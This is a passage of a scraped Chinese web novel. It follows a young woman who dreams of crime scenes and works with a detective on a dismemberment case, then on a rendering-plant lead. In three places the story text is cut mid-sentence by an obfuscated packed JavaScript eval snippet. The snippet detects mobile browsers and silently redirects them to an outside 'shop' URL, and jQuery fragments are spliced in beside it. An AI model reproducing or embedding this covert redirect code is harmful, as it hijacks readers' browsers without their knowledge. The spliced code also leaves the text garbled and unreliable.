她做完笔录,陆闻渊和秦正也正好从审讯室里出来了 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“恐怕不能,我们有规定。”陆闻渊面色凝重,直接拒绝后又道“不过等案子结了,我们会将翠芬的骨灰和她的遗物还给您。” 老人点了点头:“我明白了。” 说完,她就蹒跚着步子就往外走,一边走一边嘟囔:“我得回去喂鸡了,翠芬最喜欢吃我喂的鸡下的蛋了。” 现在是凌晨三点,外边天还没亮,怎么能让老人就这样走呢。陆闻渊赶紧去拦人。可老人执着得很,谁也拦不住。 陆闻渊叫来一个年轻小警察,将车钥匙扔给他:“你开队里的车,亲自送马桂兰回去。” 姜蕊从谈话室出来,看到的就是这一幕。 杀人偿命,自古就是天理。李志强伏法,那是正义,是他应得的。可是马翠芬再也回不来了,而她的母亲马桂兰,也再也走不出今天的阴影。 “陆队。”姜蕊收拾好心情,走到陆闻渊身旁,问他:“凶手为什么要杀我?是怀疑我在商场门口看到他了?那他为什么要害老板娘的?那天老板娘见到他的样子,看起来丝毫不知道他是凶手啊。” 陆闻渊摇摇头:“不,凶手不是怀疑你看见他。” “那为什么选中我?” “因为你当时骂了一句【贱种】。” 姜蕊:“……” “他第一讨厌别人说他秃头,第二讨厌别人说他贱种。因为他父亲怀疑他母亲出轨,从小一边打他们一边骂他们【贱种】。如今的一切,多半是受他家庭的影响。” 陆闻渊复述那句脏话时,表情十分凝重,好像在背什么报告资料。 他道:“马翠芬这么骂过他,你也说过,那个叫芳芳的老板娘那天也这么骂他来着。” “……” 姜蕊张了张嘴,很想说自己平时不骂这么脏的,但好像会越描越黑,而且也没必要,索性就闭了嘴。 陆闻渊突然又道:“对了,还有一件案子,需要征询一下你的意见。” 姜蕊一时没明白:“还有什么案子?碎尸案凶手不是已经抓住了吗?” “跟碎尸案无关。” 陆闻渊将姜蕊领到一间讯问室门外,示意她往里看。 姜蕊点起脚尖,透过窗子,看见讯问室里的椅子上,正四仰八叉地睡着一个人,正是先前砸她房门的陆渊重。 “这个冤种!” 姜蕊想起陆渊重说的那些难听的话,忍不住啐了一口,一抬头,便见到陆闻渊正直直盯着自己。 姜蕊:“……那什么,我平时真的挺少说脏话的。” 陆闻渊点点头,给了她一个“你看我信吗?”的眼神。 “陆渊重砸你房门并在你房门前吵嚷,已经构成扰乱公共秩序和非法侵入他人住宅未遂,我们想征询你的意见,如果你不打算追究,我们会对他处以十元罚款并警告。” 姜蕊抓住了话里的华点:“若是我要追究到底呢?” 陆闻渊毫无感情的声音响起:“那就罚款二百,处15日拘留。” 姜蕊果断道:“那我要追究到底。” 11. 第 11 章(小修了一下) 陆闻渊直直盯着姜蕊,有一瞬间他都怀疑自己是不是认错人了。 眼前这个人,真的是传说中被人故意掉包来姜家、又被姜家赶回去的败家女吗?怎么一点都不一样?就好像完全不同的两个人一样。 他从警这么多年,还是第一次见到这样的矛盾体。难道人身世和环境的的剧变,真的可以让一个人改变成另一个人吗? “你一直看我做什么?”姜蕊拧着一双秀气的眉毛瞪着顾文渊:“你们都姓陆,这冤种是你家亲戚啊?” “我告诉你啊,别说你是刑警队长,就是你们局长家亲戚也别想枉我和解!他大半夜凿我房门骂大街还造我黄谣,我没告他侮辱罪、流氓罪,只让他拘留十五日长个教训,就算仁至义尽了,他就偷着乐吧。” 陆渊重一噎,半晌道:“确实应该让他长个教训。” 两人正说着,副队长秦正手里拿着几张文件走了进来:“老陆,手续下来了!我现在去提李志强,咱们马上出发?” 陆渊重点了下头:“别忘了叫上法医室的人。” 秦正早已消失在楼道里,声音却从里边传来:“已经通知宋主任了。” 陆闻渊转身喊来韩梅梅:“再给姜同志做一份笔录。” 他又指了指身后的讯问室:“里边那位,给他出具一份治安管理处罚裁决书,拘留十五日,罚款二百,给家属打电话来交钱。” 说完,正好秦副队和几名警员带着嫌疑人出了刑警队大门,陆渊重快步跟上,一起上了车。 “……” 姜蕊没看着一行人风风火火的背影,稍一细想,就知道他们去干什么了。 死者的尸体只找到了部分碎尸和骨头,绝大部分不知道被李志强扔到那个犄角旮旯里去了。他们这么着急,一定是带着嫌疑人去指认现场,寻找死者的其他组织去了。 姜蕊做完笔录,就见到陆渊重被人从讯问室带了出来。 陆渊重见到姜蕊,就像那个被踩到尾巴的猫,一下子就炸了毛,一根粗短手指直指姜蕊脑门:“姜蕊,真是你这个——嗷——!” 在那根手指指过来的一瞬间,姜蕊抬手就攥住了那只猪蹄子一掰,然后使劲一拧。 陆渊重发出杀猪般的嚎叫声:“疼疼疼,姜蕊,你放放放开我——” 被留下处理陆渊重的四组长都惊呆了,没想到这个姓姜的姑娘竟然如此彪悍,一句废话没有,直接上手就收拾人。 姜蕊大发慈悲地松开了陆渊重,还嫌弃的拍了拍手:“公安同志,你们都看到了,是他先动手的,我只是正当防卫。” 周围的公安同志们:“……” 陆渊重恨恨地看着姜蕊,捂着自己快断的手指,是万万不敢再指了:“姜蕊,那屋子里的人果然是你,你果然给老子戴绿帽子,你这个……” “陆渊重,我警告你。”姜蕊抱臂站在一旁,斜睨着打断他,“根据去年刚刚修订的《治安管理处罚条例》第22条第3款之规定,公然辱骂侮辱他人、捏造事实诽谤他人的,处15日拘留,最高200元罚款。” 四组长本来安静地站在一旁,欣赏这出好戏,听到姜蕊如此熟练地将新修订《治安管理处罚条例》相关条款脱口而出,着实震惊了一把。他不由得站直了身体,看向姜蕊的眼神里多了几分欣赏。 姜蕊嫌弃地上下打量了陆渊重一番,道:“你是觉得15日拘留住不够,想再来15日凑一个月吗?” 前一秒还耀武扬威,嚣张到不行的陆渊重,下一秒就僵在原地。 他十分确定,姜蕊若是执意追究下去,以陆闻渊的那六亲不认的性子,必然还会拘留他。 想到这里,陆渊重立马就像被人戳破的气球一样,一下子就瘪了下去。 四组长看热闹结束了,推了陆渊重一把:“还杵在这干嘛?说又说不过,打也打不过,还不快走?” 陆渊重闷着头一言不发地被押走了。 “啧啧啧。”姜蕊对着陆渊重的背影啐了一口,“渣男,活该。” 就当替原主出了口恶气吧。 姜蕊从市局大楼出来,站在台阶上的时候,清晨的第一缕阳光正好照在她的头上。 暖洋洋的,真好,终于可以睡一个好觉了。 这个觉最终还是没能睡成。 姜蕊刚走到和平小区门口,余光就瞄见旁边突然窜出来两个人,直向着她扑来,嘴里还骂骂咧咧的。 “你个死丫头片子,我都收了人家彩礼了,你竟然敢给我跑——哎呦!” 姜蕊不等两人近身,就一脚踹出去一个,另一个来了个过肩摔,将两个人打倒在地。 “哎呦,你个丫头片子出息了,竟然敢打你爹妈了!我们可是从南城区派出所过来的,小心我让派出所的同志把你抓起来。” 姜蕊瞬间明白了,原主从家里偷偷跑出来,她父母这是出来逮她来了。这老两口不知道怎么找到了南城区派出所,正好他去派出所报过案,才让他们找到了这里。 “呵,有本事你们就去,看看是我打人罪名大,还是你们暴力包办婚姻罪名大?”姜蕊无所谓道:“反正我什么都没有,也没什么好怕的,大不了我们一家三口在牢里做个伴。” 原主的亲生母亲名叫郝爱平,亲生父亲叫姜来水。 郝爱平啐了一口:“呸!你胡说什么,人家家里条件比咱家不知好多少,你嫁过去就能像在姜家的时候一样,吃香的喝辣的,有什么不好?” 说着,她就伸手过来想要拉姜蕊:“真是不知好歹的丫头片子,赶紧跟我回去。” 姜蕊一把甩开她:“我才呸!那老光棍儿那么好,你怎么不跟姜来水离婚,去跟老光棍儿过去?为了两千块钱就像把闺女卖了,你们也不怕天打雷劈。” 郝爱平被姜蕊甩了一个踉跄,差点摔倒,姜来水就在旁边抽着烟冷眼旁观,也没有要扶她的意思。 等到姜蕊骂完了,姜来水将烟头扔在地上狠狠碾了一下,撸起袖子对郝爱平说:“你跟她废什么话,我看她就是挨打的少,打服了她就乖乖跟咱们回去了。” 姜蕊看着姜来水发着狠走过来的样子,心想得想办法解决他们,否则他们会像狗屁膏药一样,一直缠着她。 啐!豁出去了!大不了警校不考了。就像姜来水说的,先将这俩人打服,看他们以后还敢不敢来骚扰她! 就在姜来水抬起胳膊,巴掌落下来的瞬间,姜蕊一个手刀劈过去,然后按住他的手腕一折,就听姜来水杀猪一样惨叫一声,握着手腕连连后退,脸都白了。 郝爱平见自己丈夫被姜蕊一招打成这个德行,当下就红了眼:“你个死丫头片子!你敢打你爹!” 一边说着一边冲了上来,看那样子又想揪头发又想抓脸的,姜蕊个子小,灵活走位,郝爱平一下都没抓着,气急败坏。 “死丫头片子,你别躲。” 姜蕊一下子闪开老远,在郝爱平冲上来的时候,一脚将她踹了出去。 “不是我要打你的,是你自己非要撞到我脚上的。” 姜来水大概是骨折了,疼的满头大汗,一时间街都骂不出来了。 倒是郝爱平就势坐在地上不起来,开始哭天抢地:“哎呀呀!大家伙儿都来看啊,这个死丫头片子打爹妈啦!” 姜蕊实在无语,看今天这情形,这个郝爱平在家里肯定也经常挨姜来水的打,她自己不知道反抗,还妄想让亲闺女走自己的老路。 姜蕊想点醒他,发现白费工夫。尊重他人命运,索性就让她这么过吧。 既然郝爱平喜欢唱戏,那她也唱一段。 姜蕊将自己的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是你闺女也不能打人啊!” 四组长看向姜蕊:“姜同志,他们真是你的父母?” 姜蕊绷着一张脸道:“是。公安同志,我要报案,他们暴力干涉我的婚姻自由,胁迫我嫁给一个老光棍,你们快把他们抓起来。” 要不是被人按着,姜来水简直要气得跳起来:“你胡说什么,我们是你爹妈,给你安排婚事天经地义,你就是告到中央,他们也管不了老子让自己闺女嫁人。” 姜蕊白眼差点翻到天上去:“你个法盲!我国刑法第一百七十九条规定,以暴力、胁迫、强抢等手段强迫结婚或者离婚的,构成暴力干涉婚姻自由罪,最轻处二年有期徒刑,你们两个去牢里歇歇吧!” “哦,对了,暴力干涉自由罪,只有被害人告诉,公安才会受理。” 说完,她转身看向这里最大的官,四组长吴爱民,指着自己脸上的痕迹道:“公安同志,我这些伤还不能说明问题吗?我要告他们。” 原主父母被押进了市局,姜蕊笔录也做了,诉求也提了,等待原主父母的将是牢饭。 姜蕊都想好了,这俩人出狱后若还想找她麻烦,她有的是法子治他们。 这一天,碎尸案的凶手抓住了。 而姜蕊自己,不仅给了渣男教训,还解决了原主的原生父母这两个大麻烦,真是让人身心舒畅。 还有更让她舒畅的,陆闻渊第二日亲自登门,将帮助警队破案的奖金送到了她手里。 姜蕊感叹市局的办事效率:“这么快?” 她粗略的输了一下信封里的钱,竟然有五百块!快赶上面前这个刑警队长一个月的工资了! 姜蕊的眼睛都亮了!这下好了,不用愁没钱了。 陆闻渊直言:“我找局长走了特殊通道。” “有件事情想问你,你不是在找工作吗?想不想来警队工作,帮助我们破案?” 12. 第 12 章 时间回溯到当天早上,市局办公大楼三楼走廊尽头的局长办公室里。 “你说什么?做梦?你说有群众做梦梦到了案发现场,还来报案给我们提供线索?” 陆闻渊看着自己的老领导额头上的三条横纹,十分淡定地点点头:“啊,对。” “陆闻渊!” 陆闻渊应得很干脆:“哎!张局您说,我听着呢。” 隶市公安局局长张飞白登时深吸了一口气,然后转身在办公室里转了三圈,才又重新站在自己这个得力部下面前。 “我看你你才是在做梦!你身上穿的这身制服是什么?你头上的帽徽是干嘛的?你是吃哪碗饭的?你自己知不知道?啊?” 陆闻渊刚刚张开嘴想说话,又被老头儿怼了回去:“你闭嘴,别说话,站那别动。” “做梦梦到案发现场,简直是天方夜谭、荒谬至极!” 张飞白又转了好几圈,以平复自己愤怒的心情。 自己这个亲传弟子自己最了解,他拿不准的事情绝对不会过来跟他提一句。所以,他才纠结。 “她梦境中的线索都是真的?” 陆闻渊笔直地站在那里,转了转眼珠子。 张飞白气结:“说话。” 陆闻渊这才开口:“是真的,死者的头颅和部分尸块就是根据她提供的线索找到的,还有她画出来的死者的样貌,与我们法医室复原的死者样貌一模一样。” 张飞白又在办公桌前转了两圈,才坐回自己的位子上:“你确定这人不是李志强的同伙,故意给咱们放烟雾弹好让自己脱罪?” 陆闻渊斩钉截铁地道:“我十分确定,她不是。原因有三。” “第一,姜蕊在案发前后的行踪很清晰。上个月也就是7月6号,她因为家庭原因,从隶市跟随亲生父母回到农村老家,8月12日又只身从老家回到隶市。回城当天只去过玫瑰假日的别墅区,之后就一直住在车站对面的大众旅馆。期间,她与李志强、马翠芬没有任何交集。” “第二,案发当晚,也就是8月12日,姜蕊整夜没有离开过旅馆,旅馆老板娘可以作证。” “第三,李志强第二次抛尸时,尸块被流浪汉李二蛋捡走,也是姜蕊告诉我们线索,我们才能及时找回的死者的部分组织。而那一晚,姜蕊一直留在刑警队,根本没离开过。” 张飞白“嗯”了一声,视线落在办公桌右上角的台历上:“这么看来,确实没什么可疑的。” 陆闻渊赶紧接着道:“而且她对法规十分熟悉。” 想到四组长的描述,陆闻渊又加了一句:“身手也不错。” 张飞白看向他:“你的意思是?” 陆闻渊早就想好了:“局里最近不是在招联防吗?我考虑先将人招纳进咱们公安队伍,如果以后她还能梦见案发现场的话,对我们破案将是极大的帮助,会让我们少走很多弯路。我先前跟队里介绍过,姜蕊同志是省厅派下来的破案专家,我想就让她以专家名义,留在刑警队。” 张飞白一拍桌面:“就这——嘶——” 陆闻渊咬着后槽牙吸气,替老领导疼得慌。 张飞白揉了揉自己被拍红的皱巴巴的肉手,镇定地道:“就这么办吧,但做梦这种事,怪力乱神,涉嫌封建迷信,是我们国家严厉打击的。所以,这件事绝对不能让第二个人知道,其他就交给你了。” 陆闻渊没有提醒老领导的数学不太好,立即立正:“是。” 就在陆闻渊打开局长办公室大门的时候,就听老领导喊了自己一声:“闻渊啊。” “哎,领导,您说。” 张飞白面色凝重,语重心长地道:“记住一句话——警徽之下,只认证据。” 和平小区。 被问要不要去警局工作的时候,姜蕊并没有立即回复陆闻渊,只说自己再考虑考虑。 其实陆闻渊的提议与她的想法不谋而合。 她上辈子的梦想就是当警察。到了这辈子,好不容易有个机会摆在眼前,她一定要抓住。 但按照现行的《警察录用办法》的规定,直系亲属正在服刑或被判死刑的,是绝对不能报考警校的。她昨天刚把原主的亲生父母送进监狱,至少要等两年,他们出狱后才能报考警校。 所以,眼下最好的选择,就是先以联防队员的身份进入警队。 她不确定自己梦到案发现场的能力还会不会再出现。 他相信陆闻渊会是一个好领导,如果还能梦到案发现场,那凭她的立功表现,不出两年就能转入正式编。可如果只有这一次,那她也可以在警队边工作边学习,等两年后原主父母出狱后再报考警校,也还来得及。 想通了一切之后,姜蕊瞬间感觉轻松不少。 麻烦解决了,钱也不缺了,工作也有了,前途简直一片光明! …… “咚——咚——咚——” 姜蕊被吵醒了,面前先是一片黑暗。 又是这种声音。 睁开眼睛前,姜蕊在心里暗暗感叹,不会这么倒霉吧?又是凶杀案? 还真又梦到了! “笃——笃——咔——嘣!” 是骨头被劈裂的声音。 姜蕊被这声音震了一下,吓的一激灵,猛地睁开了眼睛。 想象中的血腥场面没有出现,但是距离她不足五厘米的地方,赫然是半个猪头! 面对她的半张猪脸已经灰白发胀,表面像是蒙着一层暗浊的油光,剩下的那只眼睛里还流出绿色浑浊的液体,看样子已经死去多时。 这是半颗腐坏的臭猪头。 姜蕊松了一口气,不是人头!猪头好啊!只是猪头就不能是凶案现场了吧。 紧接着,她觉得自己所在的位置被缓缓抬了起来,视野一点点拔高,越过近处猪头的一瞬间,她才看清,那半个猪头的后面还有许多密密麻麻、一个叠着一个的猪头,正沿着一条传送带,一个压一个地翻滚进一个粉碎机里,最后变成了碎肉,然后被传送到下一个机器里。 而刚才剁骨头的声音,就是机器旁的工人们将没有进到机器里的大块猪头剁碎再扔进机器里。 很快,姜蕊也跟着猪头们滚了下去。翻转间,光影一闪,她看不远处飞进来一颗黑乎乎的东西,在密密麻麻的灰白色猪头中间,看上去尤为突出。 姜蕊心里突突直跳,视线被迫翻转了一圈,离那颗黑乎乎的东西更近了,然后她猝不及防地看到了半张惨白的人脸! 只一眼,姜蕊就案件那断口处的皮肉已经发皱发黑,那是人死亡后尸体腐败的开始。 “!!!” 姜蕊怀疑自己眼花了,想再看清一些的时候,就听“噗噗”两声—— 睁开眼,就看到照在新房子洁白吊顶上的阳光。 这一次,她比第一次做梦醒来时平静很多。 她也终于确定了一件事,梦见的案发现场,并不是偶然事件。 姜蕊十分淡定,先洗漱了一番,又给自己煮了一碗面,吃完,换了身衣服才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406825|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了门。 出了和平小区的大门走到市局门口的时候,看到市局大门口被一群人围了一个水泄不通。 人群中又是摄像机又是录音机,还有闪着闪光灯的照相机的。 市局大院里,一个人戴着手铐脚铐,头上戴着押解头套,被人押送上了警车。 陆闻渊沉着一张脸,从市局大楼走了出来。 一时间,各路记者蜂拥而上,闪光灯“咔咔咔”响个不停,话筒就差怼在陆闻渊脸上了。 “陆队,我们是隶市晚报,请问能介绍一下8.13南城碎尸案的基本案情吗?” “我们是隶市电视台,本案从发现碎尸到侦破案件抓获嫌疑人,只用了四天时间,请问侦破此案的关键是什么??” “陆队,法制日报的记者,请问……” 陆闻渊抬手向下压了一下,待记者们都安静下来才道:“各位记者同志,市局会在明天下午召开案情通报会,张局会亲自向社会通报8.13南城特大碎尸案的基本案情,各位若是想参加,请到接待处登记,明天准时到场。其他无可奉告,请不要不要堵在市局门口,影响我们工作。” 陆闻渊说完,有几个年轻的刑警上前,分开人群,给警车让出了一条通道。 “各位记者同志先去接待室登记吧,记得明天来参加案情通报会。” 陆闻渊说完,就越过人群走了出来,姜蕊被一群记者挡在最后,他是来捞人的。 姜蕊打了声招呼:“陆队!” “考虑清楚了?”陆闻渊向她伸出手:“欢迎加入刑警队,成为公安队伍的一份子。” 陆闻渊带着姜蕊挤开人群,进了市局大楼。 一边走一边告诉她:“李志强指认了现场,我们在他家的院子里挖出了那台生了锈的绞肉机。只是王翠芬的部分组织被他投喂了野狗,找不回来的。” 姜蕊猛地停住脚步,看向陆闻渊:“……野狗?” 陆闻渊沉重地点点头:“对,准确的说是没人饲养的流浪狗。” “那这些狗……?” “这些狗吃过尸体,已经是高危犬类,很可能携带传染源,我们已经联合防爆大队,对全市所有的野狗进行了捕杀和无害化处理。” 姜蕊心里不得劲,但陆闻渊说得没错,留下那些狗,对于全隶市人民是极大的安全隐患,捕杀和无害化处理是最安全的处理方法。 陆闻渊直接带着姜蕊上了三楼,来到了局长办公室。 “张局,这就是姜蕊。” 陆闻渊提醒姜蕊:“姜蕊,这是咱们隶市公安局局长,快叫张局,” 姜蕊赶忙上前,站在张局面前立正:“张局您好,我是姜蕊。” 张飞白是第一次见到姜蕊,没想到竟是这样一个看上去柔柔弱弱的小姑娘。 听刑警队的崽子们说,这姑娘在刑警队办公室里,只用一招就制服了一个小流氓?被父母胁迫结婚,还知道用法律武器保护自己。很有魄力的一个小姑娘。 “姜蕊同志你好啊,百闻不如一见,真是个顶好的姑娘。欢迎你加入公安队伍,好好干,争取以后转正。” 姜蕊赶忙道:“是,我会的,张局。” 陆闻渊直言道:“你的情况我已经跟张局汇报过了,张局决定让你以省厅专家的身份留在刑警队,一切待遇从优。” 姜蕊连忙道谢,觉得自己不能辱没了专家的称号,忙提供了自己的一手信息:“我有情况要汇报,我又梦到案发现场了,这次可能又是分尸案。” 13. 第 13 章 市局二楼,刑警队队长办公室。 姜蕊还是坐在上次的位置,用跟上次一样的笔和稿纸,花了两张素描图,然后在桌面上一转,推到了陆闻渊面前。 “我看到的就是这样的半张脸。” 她又指了指另一张道:“如果这个人是个正常人,且没有其他疾病的话,我推测其本来的面貌应该是这样。” 陆闻渊看着其中一张纸上的半张人脸,神色凝重:“你还有其他线索吗?” 姜蕊脱口而出:“猪头!” 陆闻渊一噎,若不是抬头看见姜蕊一本正经的神色,他几乎以为姜蕊是在骂人。 “所以你说你看见了这半刻人头和一个猪头在一起?” “不,不是一个,是很多个,半个的,残缺的,而且都是已经开始腐坏变质的猪头。那里应该是一个什么工厂,他们将腐坏变质的猪头投入机器里,撵成碎肉,然后再传送到下一个机器里。机器旁有工人值守,过大的猪头会被他们砍成小块儿再扔到机器里。” 姜蕊想了想,又加了一句:“那里卫生条件极差。” 陆闻渊从警多年,大案奇案破过不少,什么血腥猎奇的场面没见过?什么离奇难缠的状况没经历过? 可当下这件案子,既没有被害人,又不知道案发地,连是不是发生在隶市也未可知,简直无从查起。 办公室里一时十分安静,轮廓分明的指节一下一下敲击在稿纸的素描像上,陆闻渊只思索了片刻,便下定了决心。 既然张局都给了他权利,又关乎到人民群众的生命财产安全,那就查!本市查不到,就发协查通报,全省范围查,全省查不到,就全国范围查。只要是犯罪,就会有痕迹,只要有痕迹必然能被查出来,让罪犯无所遁形。 陆闻渊打开钢笔开始在稿纸上写写画画。 “按照你说的那么多猪头的情况,只能从屠宰场查起。” “隶市有三家屠宰场,一家是北郊肉联厂,位于北城城郊,附近有个饲料厂,规模偏大,日宰猪一千五百头左右;还有一家是康达屠宰场,在新市区新建的工业区旁边,靠近垃圾处理厂,旁边还有个油脂公司,规模中等,日宰猪八百至一千头;最后有一家是荷花肉类加工厂,在南城区工农路西段,紧邻着化肥厂,规模与新市区那家差不多,日宰猪八百头左右。” 陆闻渊下笔如飞,将几个地段和附近的路段工厂全部画在了草纸上。 姜蕊惊异于陆闻渊的记忆力:“不会整个隶市的地图都在你脑子里吧?” 陆闻渊突然听见这么一句,“啊?”了一声,才反应过来:“啊,也差不多,跑了这么多年了,想不记住都难。” 说完,他言归正传:“屠宰场会将腐坏变质的猪头卖给饲料厂做饲料,或者卖给油脂厂炼制工业用油。” “这就更好查了。”陆闻渊又在另一张纸上写上了两个名字:“隶市只有一家饲料厂和一家油脂厂,隶市饲料厂和隶市油脂公司。” “不管屠宰场,还是饲料厂或者油脂公司,这几个单位都是国营的,工人的流动性极小,人员情况十分好查。” “韩梅梅!” 陆闻渊一嗓子,一身绿色警服的韩梅梅风一样的刮了进来:“哎!陆队,我来啦!” 他看见姜蕊在陆闻渊办公室里,十分意外:“诶,姜同志,你什么时候来的?” 姜蕊还来不及回答,陆闻渊就将画着人像的稿纸怼进韩梅梅手里:“让秦副队多找人几个人,到三家屠宰场、隶市饲料厂和隶市油脂公司去查,看看有没有人认识这个人。我要知道这个人的身份,他叫什么,住哪里,家里都有什么人,现在的行踪,全部查清楚。查完来报,速去。” “得嘞!”韩梅梅见自家队长神色严肃,便知道这可能又涉及到什么了不得的大案,半刻也不敢耽误,又风一样的跑出去干活了。 姜蕊目送韩梅梅离开的背影,眼中的羡慕丝毫掩饰不住。 一回头,便看见陆闻渊面色沉沉,好像一直在看着自己。 “……” 姜蕊心里咯噔一下,莫不是这个经验丰富的刑侦队长看出来些什么?不过很快,姜蕊又反应过来,陆闻渊又不认识以前的姜蕊,绝不可能发现她跟以前的姜蕊不一样。 “啊那什么,我是看着小姑娘风风火火的,年轻,真有干劲儿,很羡慕。” 陆闻渊古怪的看了姜蕊一眼:“你身份证上不是19岁?韩梅梅今年23了,你比她还年轻几岁。” 姜蕊:“……” 陆闻渊说完,捞起桌上的车钥匙,起身就向外走:“走,跟我去一趟油脂厂。” 陆闻渊一双长腿健步如飞,三两步就将姜蕊落在了后面。姜蕊走出市局大楼的时候,哪里还有陆闻渊的影子,就连陆闻渊经常开的那辆警用吉普也不见了踪影。 姜蕊都怀疑陆闻渊是是不是把她扔下,自己去油脂厂了。 “嘀——嘀——” 不远处一辆切诺基喇叭响了两声,姜蕊看过去,不是警用拍照,可能是哪位领导个人的。嚯,这个年代买这车,得花不少钱吧。真有钱呢! 陆闻渊见姜蕊只看着自己的车牌,傻站着不懂,叹了口气从驾驶室探出了头:“姜蕊,愣着干嘛?上车!” 姜蕊闻言,赶紧大跨步跑过去,上车关门一气呵成。 他就说谁能这么有钱,原来是兜里揣着一万多二哥大的刑警队长。 切诺基在姜蕊关门的那一瞬间,起步冲出了市局大院儿。 姜蕊被迫突然后靠贴在副驾驶的椅背上——好真实的推背感! 隶市油脂公司在新市区新建的工业区旁边,离康达屠宰场不远。他们到油脂公司门口的时候,正好看见秦正带着人进了康达屠宰场。 “还真够快的。” 陆闻渊让姜蕊等在车里,自己先下了车:“我换件衣服,你别回头啊。” 姜蕊:“……” 她很想说自己没有偷看别人换衣服的爱好。 紧接着姜蕊就听见后备箱门被打开的声音,不过半分钟的安静过后,后备箱处又传来门被关上的声音。 三秒后,姜蕊这边的窗户被敲了一下:“出来吧。” 姜蕊瞪着一双小鹿似的圆眼,看着面前大变活人一样的陆闻渊:“陆队,你要去唱戏啊?” 只见陆闻渊脱去一身橄榄绿的警服,换上了一件香槟色的真丝短袖衬衫,脸上架着一双深色的□□镜,腋下还夹着一个棕色的皮包。 这哪里还是市局刑警队的队长,这明明是南方来的大老板啊。 陆闻渊从□□镜后面看着姜蕊,问:“演戏会不会?” 姜蕊一下子就明白了,打了个响指:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406826|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞒你说,我还真学过表演,瞧好儿吧您呐!” 姜蕊转身从车里中控台上拿了一张纸,是那张印有《隶市公安局关于严禁民警违规饮酒聚会的通知》,又顺了半包不知道谁留下来的红塔山。 陆闻渊看了她一眼:“你拿它干什么?” 姜蕊将指着《通知》右下角的红圈给他看:“有用。” 然后她将《通知》折好,连同红塔山装进了口袋里。 两人径直走到油脂厂铁门前,门卫从门卫室探出头,上下打量两个人一眼,伸手一拦。 “你们干什么的?我们是油脂公司,里边不让随便进。” 陆闻渊一皱眉,大爷似的站在原地,一副十分不耐烦的模样。 姜蕊点头哈腰地跟陆闻渊说了一句:“老板,你稍等,我去解决。” 然后快步走到门卫室窗口,先从口袋里摸出红塔山,递给了门卫一根。 开口语气熟络又自然,带着点打工人的无奈:“跟你们主任约好的,收油的。我们老板亲自来的,这可是大单,明天就要发车了,晚了就来不及了。” 门卫皱着眉:“哪个主任?没人跟我说啊……” “还能哪个主任,你们公司管供销那个呀。” 陆闻渊站在不远处骂了一句:“就知道你们小年轻不靠谱,这点事儿都办不好,耽误了老子生意,老子炒你鱿鱼,别特么干了!” 姜蕊一听急了,逼出两滴眼泪,带着哭腔道:“怎么回事嘛?昨天电话里说好今天看货,你们公司这批化制油,我们老板等着用呢。老板都来了,现在又不让我进去,耽误了事,老板炒我鱿鱼是小,耽误你门公司这么大生意你担待得起吗?” 说着,姜蕊从口袋里摸出那张盖着红章的通知,随手晃了晃,一闪而过,只让对方瞥见了红印。 “订购合同我们都签好了,不信你打电话问,我在这等着。” 那边陆闻渊又开骂了,用的还是南方话:“你个衰仔,等个毛啊!又不是只有他们一家油脂厂,我们去别的城市买就是了。” 门卫被他俩一唱一和的气势唬住了,怕真耽误公司生意,只犹豫了两秒,最终还是拉开小门:“那你们进去吧,后边是车间,别乱走,供销科就再前边的办公区。” 姜蕊连连答应:“好嘞好嘞。”看了一眼陆闻渊,两人大摇大摆地走了进去。 刚拐过办公区的墙角,两人一改大摇大摆地姿态,迅速向着后边的车间走去。 走近第一个车间的时候,姜蕊就后悔自己没有戴口罩。 这味儿也太难闻了。 掀开车间的门帘,地上到处摆着各种动物的躯干、骨架,再往里走还有猪头、狗头、牛头等……苍蝇蛆虫到处都是,姜蕊觉得再看下去,自己要吐了。 不是这里。 他们继续往里走,第二个车间进入半机械化,是清洗和分拆车间。 大块的骨头,如猪头、牛头之类的,在清洗之后,用一台分割机器进行拆分,然后一起传送至下一个环节。 隔着一道帘子是第三个车间,上一个车间拆分的骨头被传送过来之后,经过机器分类,按照大小顺序,全部被传送至粉碎机里,做成碎肉。 车间里时不时还有“咚——咚——嚓——”的声音,是工人正在剁骨头! “我梦见的就是这里!” 14. 第 14 章 “你确定就是这里。” 姜蕊又仔细回忆了一下梦中的场景,连两个工人站立的位置都一模一样,传送带上运输的那些肉块,就好像在她面前一样。 姜蕊点点头:“我很确定,就是这里。” 陆闻渊眉宇紧锁,看着面前的车间,面色严峻:“这里是油脂厂的原料车间,所有的原料都要在这里验收、清洗,再投放到切块机里切成碎块;从这出去之后,碎块就会进入熬炼主车间,经过熬炼、盐析、放油、粗滤、压榨;最后到精炼车间,脱胶、脱酸、脱臭,冷却后罐装。全部这些程序走完,大概需要三到五小时。” “如果你的梦境与案发现场是同一时间的话,死者的半颗头颅此刻已经被炼成油,开始在精炼车间冷却了。” “……” 姜蕊第一次了解,工业油脂竟然也需要这么多步骤。 “所以,我们现在要做的,是不是得先让油脂厂停工,然后再依次检查相关生产线和油罐。” 陆闻渊道:“先验验油吧。” 陆闻渊打了个电话回队里,让宋辞带人过来,然后带着姜蕊直奔前边的办公大楼。 